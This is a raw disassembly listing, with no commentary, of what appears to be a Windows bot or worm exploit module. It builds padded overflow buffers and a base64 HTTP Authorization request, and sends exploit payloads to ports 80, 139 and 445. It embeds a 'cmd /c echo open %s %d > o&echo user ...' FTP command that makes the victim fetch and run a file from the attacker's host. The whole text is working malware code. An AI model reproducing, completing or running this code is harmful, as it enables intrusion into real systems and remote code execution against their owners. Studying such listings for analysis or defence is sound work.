sub_40CCFD endp ; =============== S U B R O U T I N E ======================================= sub_40CD1A proc near ; CODE XREF: sub_40CD66+Bp ; sub_40CD85+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CCC9 retn 8 sub_40CD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD2A proc near ; CODE XREF: sub_40CD66+16p ; sub_40CD85+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40CBC3 test al, al jz short loc_40CD63 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CC8C call sub_40CB55 mov ecx, esi call sub_40CBAA mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CD63: ; CODE XREF: sub_40CD2A+Fj pop esi leave retn sub_40CD2A endp ; =============== S U B R O U T I N E ======================================= sub_40CD66 proc near ; CODE XREF: sub_40CD85+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD1A test al, al jz short loc_40CD81 mov ecx, esi call sub_40CD2A loc_40CD81: ; CODE XREF: sub_40CD66+12j pop esi retn 8 sub_40CD66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD85 proc near ; CODE XREF: ___:0040D60Cp var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CB11 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D0D9 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D0D9 push esi lea ecx, [ebp+var_30] call sub_40CB11 lea ecx, [ebp+var_20] call sub_40CB11 lea ecx, [ebp+var_50] call sub_40CB11 lea ecx, [ebp+var_18] call sub_40CB11 lea ecx, [ebp+var_40] call sub_40CB11 lea ecx, [ebp+var_38] call sub_40CB11 lea ecx, [ebp+var_28] call sub_40CB11 push 4 push offset dword_432088 lea ecx, [ebp+var_30] call sub_40CCC9 push 3 push offset dword_432090 lea ecx, [ebp+var_30] call sub_40CCC9 lea ecx, [ebp+var_30] call sub_40CC4F lea ecx, [ebp+var_30] call sub_40CD2A mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BD10 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CCC9 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CCC9 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CCC9 lea ecx, [ebp+var_20] call sub_40CC4F push offset loc_43240C lea ecx, [ebp+var_50] call sub_40CCFD lea ecx, [ebp+var_50] call sub_40CC4F push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CB1B lea ecx, [ebp+var_58] call sub_40CC4F push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CD66 lea ecx, [ebp+var_58] call sub_40CBAA push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BD10 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CCFD push 4 push offset dword_432094 lea ecx, [ebp+var_18] call sub_40CCC9 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CCC9 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CCC9 lea ecx, [ebp+var_18] call sub_40CC4F push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CD1A push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CD1A lea ecx, [ebp+var_40] call sub_40CD2A lea ecx, [ebp+var_18] call sub_40CBAA lea ecx, [ebp+var_50] call sub_40CBAA push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CD1A push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CD1A push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CD1A lea ecx, [ebp+var_38] call sub_40CD2A lea ecx, [ebp+var_20] call sub_40CBAA lea ecx, [ebp+var_30] call sub_40CBAA lea ecx, [ebp+var_40] call sub_40CBAA push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CCC9 lea ecx, [ebp+var_28] call sub_40CC4F push 2 push offset dword_432400 lea ecx, [ebp+var_28] call sub_40CCC9 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CD1A lea ecx, [ebp+var_28] call sub_40CD2A lea ecx, [ebp+var_38] call sub_40CBAA lea ecx, [ebp+var_10] call sub_40CB11 lea ecx, [ebp+var_8] call sub_40CB11 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CD1A lea ecx, [ebp+var_10] call sub_40CBC3 lea ecx, [ebp+var_28] call sub_40CBAA push offset dword_4323FC lea ecx, [ebp+var_8] call sub_40CCFD push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD1A lea ecx, [ebp+var_8] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CBAA push offset dword_4323F8 lea ecx, [ebp+var_10] call sub_40CCFD push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CD1A lea ecx, [ebp+var_10] call sub_40CBC3 lea ecx, [ebp+var_8] call sub_40CBAA push offset dword_4323EC lea ecx, [ebp+var_8] call sub_40CCFD push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD1A lea ecx, [ebp+var_8] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CBAA push (offset loc_4323E7+1) lea ecx, [ebp+var_48] call sub_40CCFD push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CD1A lea ecx, [ebp+var_8] call sub_40CBAA mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D0E7 ; --------------------------------------------------------------------------- loc_40D0D9: ; CODE XREF: sub_40CD85+1Bj ; sub_40CD85+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D0E7: ; CODE XREF: sub_40CD85+352j pop edi pop ebx leave retn sub_40CD85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0EB proc near ; CODE XREF: sub_40D1AF+A1p ; sub_40D1AF+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40D152 lea eax, [ebp+var_10C] push eax push esi call sub_426636 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40D156 loc_40D152: ; CODE XREF: sub_40D0EB+54j xor eax, eax jmp short loc_40D166 ; --------------------------------------------------------------------------- loc_40D156: ; CODE XREF: sub_40D0EB+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4C931C loc_40D166: ; CODE XREF: sub_40D0EB+69j pop edi pop esi leave retn sub_40D0EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D16A proc near ; CODE XREF: sub_40D1AF+81p ; sub_40D1AF+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4C9300 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4C9354 cmp eax, 4 jz short loc_40D194 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D194: ; CODE XREF: sub_40D16A+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4C9354 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D16A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1AF proc near ; CODE XREF: sub_40D289+48p ; ___:0040D707p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BC9B mov esi, eax pop ecx test esi, esi jnz short loc_40D1D8 xor al, al jmp loc_40D284 ; --------------------------------------------------------------------------- loc_40D1D8: ; CODE XREF: sub_40D1AF+20j push ebx push 0 push esi call sub_41BD10 push 2Fh push offset dword_432124 push esi call sub_41CAB0 push 8 lea eax, [esi+31h] push offset dword_432154 push eax mov [esi+2Fh], di call sub_41CAB0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41CAB0 push 6 add ebx, edi push offset dword_4CC01C push ebx call sub_41CAB0 mov ebx, [ebp+arg_0] push 85h push offset dword_43209C push ebx call sub_40D16A add esp, 48h test al, al jnz short loc_40D240 loc_40D23C: ; CODE XREF: sub_40D1AF+B5j xor bl, bl jmp short loc_40D27B ; --------------------------------------------------------------------------- loc_40D240: ; CODE XREF: sub_40D1AF+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D0EB push [ebp+var_4] push esi push ebx call sub_40D16A add esp, 1Ch test al, al jz short loc_40D23C push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D0EB add esp, 10h mov bl, 1 loc_40D27B: ; CODE XREF: sub_40D1AF+8Fj push esi call sub_41BA31 pop ecx mov al, bl loc_40D284: ; CODE XREF: sub_40D1AF+24j pop edi pop esi pop ebx leave retn sub_40D1AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D289 proc near ; CODE XREF: ___:0040D6EDp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432160 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D2C4 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D0EB add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D2C4 cmp [ebp+var_20], 82h jz short loc_40D2C8 loc_40D2C4: ; CODE XREF: sub_40D289+1Bj ; sub_40D289+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D2C8: ; CODE XREF: sub_40D289+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D1AF add esp, 0Ch leave retn sub_40D289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2DB proc near ; CODE XREF: sub_40D327+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427688 call sub_41CF04 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427680 fstp [esp+10h+var_10] call sub_41CDE5 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41CF04 inc eax leave retn sub_40D2DB endp ; =============== S U B R O U T I N E ======================================= sub_40D327 proc near ; CODE XREF: sub_40D4C9+24p var_40 = qword ptr -40h mov eax, offset loc_426D63 call sub_41D3D0 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D968 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D2DB cmp [ebp-2Ch], eax pop ecx jnb short loc_40D369 push edi push eax lea ecx, [ebp-38h] call sub_40D8E3 loc_40D369: ; CODE XREF: sub_40D327+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D486 mov ebx, [ebp+10h] loc_40D378: ; CODE XREF: sub_40D327+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D382 push 3 jmp short loc_40D394 ; --------------------------------------------------------------------------- loc_40D382: ; CODE XREF: sub_40D327+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D38C push 2 jmp short loc_40D394 ; --------------------------------------------------------------------------- loc_40D38C: ; CODE XREF: sub_40D327+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D395 push 1 loc_40D394: ; CODE XREF: sub_40D327+59j ; sub_40D327+63j pop ebx loc_40D395: ; CODE XREF: sub_40D327+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427698 fstp [esp+40h+var_40] call sub_41CF2B pop ecx pop ecx call sub_41CF04 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D3D4 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D3D4: ; CODE XREF: sub_40D327+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D442 add [ebp-18h], eax loc_40D426: ; CODE XREF: sub_40D327+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_4321AC[eax] push eax push 1 call sub_40D765 inc esi cmp esi, [ebp-1Ch] jb short loc_40D426 loc_40D442: ; CODE XREF: sub_40D327+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D460 push dword ptr [ebp+14h] call sub_41B960 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D7BE mov [ebp-18h], edi loc_40D460: ; CODE XREF: sub_40D327+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D47A sub esi, [ebp-1Ch] loc_40D46B: ; CODE XREF: sub_40D327+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D765 dec esi jnz short loc_40D46B loc_40D47A: ; CODE XREF: sub_40D327+13Fj cmp [ebp+10h], edi ja loc_40D378 push 1 pop ebx loc_40D486: ; CODE XREF: sub_40D327+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D968 push dword_427690 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D815 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D968 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D327 endp ; =============== S U B R O U T I N E ======================================= sub_40D4C9 proc near ; CODE XREF: ___:0040D6D0p mov eax, offset loc_426D80 call sub_41D3D0 sub esp, 10h push ebx push esi push edi push offset byte_43B4B8 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D327 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BC9B mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D513 xor bl, bl jmp short loc_40D557 ; --------------------------------------------------------------------------- loc_40D513: ; CODE XREF: sub_40D4C9+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A0 cmp ecx, ebx jnz short loc_40D521 mov ecx, eax loc_40D521: ; CODE XREF: sub_40D4C9+54j cmp [ebp+18h], ebx jz short loc_40D529 mov eax, [ebp+18h] loc_40D529: ; CODE XREF: sub_40D4C9+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C100 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4C9354 cmp eax, esi jz short loc_40D54E xor bl, bl jmp short loc_40D550 ; --------------------------------------------------------------------------- loc_40D54E: ; CODE XREF: sub_40D4C9+7Fj mov bl, 1 loc_40D550: ; CODE XREF: sub_40D4C9+83j push edi call sub_41BA31 pop ecx loc_40D557: ; CODE XREF: sub_40D4C9+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D968 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D968 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D4C9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 424h and byte ptr [ebp-424h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-423h] push 8Fh rep stosd stosw stosb lea eax, [ebp-424h] push offset sub_432358 push eax call sub_41CAB0 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4C9040 push eax push dword ptr [ebp+8] call sub_40A9FA pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-395h] push 400h push eax call sub_41C100 add eax, 90h push eax lea eax, [ebp-424h] push eax push 164h lea eax, [ebp-24h] push offset sub_4321F0 push eax call sub_40CD85 mov ecx, [eax] xor esi, esi mov [ebp-8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp-4], eax jnz short loc_40D62C xor eax, eax jmp loc_40D758 ; --------------------------------------------------------------------------- loc_40D62C: ; CODE XREF: ___:0040D623j mov [ebp-0Ch], esi loc_40D62F: ; CODE XREF: ___:0040D72Fj test esi, esi jnz loc_40D735 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D71D xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4C9304 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4C9344 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4C92AC cmp eax, 0FFFFFFFFh jz loc_40D712 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D6DA mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D968 lea eax, [ebp+0Ch] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D9A4 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D4C9 add esp, 1Ch jmp short loc_40D70F ; --------------------------------------------------------------------------- loc_40D6DA: ; CODE XREF: ___:0040D698j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D6F4 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D289 jmp short loc_40D70C ; --------------------------------------------------------------------------- loc_40D6F4: ; CODE XREF: ___:0040D6E4j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D712 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1AF loc_40D70C: ; CODE XREF: ___:0040D6F2j add esp, 0Ch loc_40D70F: ; CODE XREF: ___:0040D6D8j movzx esi, al loc_40D712: ; CODE XREF: ___:0040D68Bj ; ___:0040D6FEj push ebx call dword_4C939C test esi, esi jnz short loc_40D728 loc_40D71D: ; CODE XREF: ___:0040D648j push 3E8h nop call near ptr 26A053Bh loc_40D728: ; CODE XREF: ___:0040D71Bj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D62F loc_40D735: ; CODE XREF: ___:0040D631j lea ecx, [ebp-8] call sub_40CBAA test esi, esi jz short loc_40D756 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40D756: ; CODE XREF: ___:0040D73Fj mov eax, esi loc_40D758: ; CODE XREF: ___:0040D627j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D44 loc_40D75D: ; CODE XREF: sub_426D44+3j ; ___:00426D5Dj ... push 1 call sub_40D968 retn ; END OF FUNCTION CHUNK FOR sub_426D44 ; =============== S U B R O U T I N E ======================================= sub_40D765 proc near ; CODE XREF: sub_40D327+110p ; sub_40D327+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427690 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D77F call sub_42657A loc_40D77F: ; CODE XREF: sub_40D765+13j test ebx, ebx jbe short loc_40D7B6 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8E3 test al, al jz short loc_40D7B6 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BD10 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D7B6: ; CODE XREF: sub_40D765+1Cj ; sub_40D765+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D765 endp ; =============== S U B R O U T I N E ======================================= sub_40D7BE proc near ; CODE XREF: sub_40D327+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427690 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D7D8 call sub_42657A loc_40D7D8: ; CODE XREF: sub_40D7BE+13j test ebx, ebx jbe short loc_40D80D mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8E3 test al, al jz short loc_40D80D mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41CAB0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D80D: ; CODE XREF: sub_40D7BE+1Cj ; sub_40D7BE+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D7BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D815 proc near ; CODE XREF: sub_40D327+17Cp ; sub_426490+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D82D call sub_426453 loc_40D82D: ; CODE XREF: sub_40D815+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D83F mov esi, [ebp+arg_8] loc_40D83F: ; CODE XREF: sub_40D815+25j cmp edi, ebx jnz short loc_40D861 push dword_427690 add esi, ecx mov ecx, edi push esi call sub_40D9D9 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D9D9 jmp short loc_40D8DA ; --------------------------------------------------------------------------- loc_40D861: ; CODE XREF: sub_40D815+2Cj test esi, esi jbe short loc_40D8A4 cmp esi, eax jnz short loc_40D8A4 mov eax, [ebx+4] test eax, eax jnz short loc_40D875 mov eax, offset dword_4276A0 loc_40D875: ; CODE XREF: sub_40D815+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D8A4 push 1 mov ecx, edi call sub_40D968 mov eax, [ebx+4] test eax, eax jnz short loc_40D890 mov eax, offset dword_4276A0 loc_40D890: ; CODE XREF: sub_40D815+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D8DA ; --------------------------------------------------------------------------- loc_40D8A4: ; CODE XREF: sub_40D815+4Ej ; sub_40D815+52j ... push 1 push esi mov ecx, edi call sub_40D8E3 test al, al jz short loc_40D8DA mov eax, [ebx+4] test eax, eax jnz short loc_40D8BE mov eax, offset dword_4276A0 loc_40D8BE: ; CODE XREF: sub_40D815+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41CAB0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D8DA: ; CODE XREF: sub_40D815+4Aj ; sub_40D815+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D815 endp ; =============== S U B R O U T I N E ======================================= sub_40D8E3 proc near ; CODE XREF: sub_40D327+3Dp ; sub_40D765+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D8F5 call sub_42657A loc_40D8F5: ; CODE XREF: sub_40D8E3+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D91E mov al, [ecx-1] cmp al, dl jz short loc_40D91E cmp al, 0FFh jz short loc_40D91E cmp edi, edx jnz short loc_40D959 dec al push edx mov [ecx-1], al loc_40D913: ; CODE XREF: sub_40D8E3+47j mov ecx, esi call sub_40D968 loc_40D91A: ; CODE XREF: sub_40D8E3+4Bj ; sub_40D8E3+52j xor al, al jmp short loc_40D963 ; --------------------------------------------------------------------------- loc_40D91E: ; CODE XREF: sub_40D8E3+19j ; sub_40D8E3+20j ... cmp edi, edx jnz short loc_40D937 cmp [esp+8+arg_4], dl jz short loc_40D92C push 1 jmp short loc_40D913 ; --------------------------------------------------------------------------- loc_40D92C: ; CODE XREF: sub_40D8E3+43j cmp ecx, edx jz short loc_40D91A mov [esi+8], edx mov [ecx], dl jmp short loc_40D91A ; --------------------------------------------------------------------------- loc_40D937: ; CODE XREF: sub_40D8E3+3Dj cmp [esp+8+arg_4], dl jz short loc_40D954 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D949 cmp eax, edi jnb short loc_40D961 loc_40D949: ; CODE XREF: sub_40D8E3+60j push 1 mov ecx, esi call sub_40D968 jmp short loc_40D959 ; --------------------------------------------------------------------------- loc_40D954: ; CODE XREF: sub_40D8E3+58j cmp [esi+0Ch], edi jnb short loc_40D961 loc_40D959: ; CODE XREF: sub_40D8E3+28j ; sub_40D8E3+6Fj push edi mov ecx, esi call sub_40DA40 loc_40D961: ; CODE XREF: sub_40D8E3+64j ; sub_40D8E3+74j mov al, 1 loc_40D963: ; CODE XREF: sub_40D8E3+39j pop edi pop esi retn 8 sub_40D8E3 endp ; =============== S U B R O U T I N E ======================================= sub_40D968 proc near ; CODE XREF: sub_40D327+1Fp ; sub_40D327+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D994 mov eax, [esi+4] test eax, eax jz short loc_40D994 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D98D cmp al, 0FFh jz short loc_40D98D dec al mov [ecx], al jmp short loc_40D994 ; --------------------------------------------------------------------------- loc_40D98D: ; CODE XREF: sub_40D968+19j ; sub_40D968+1Dj push ecx call sub_41D3EF pop ecx loc_40D994: ; CODE XREF: sub_40D968+8j ; sub_40D968+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D968 endp ; =============== S U B R O U T I N E ======================================= sub_40D9A4 proc near ; CODE XREF: ___:0040D6C4p ; sub_40DAFD+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D8E3 test al, al jz short loc_40D9D2 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41CAB0 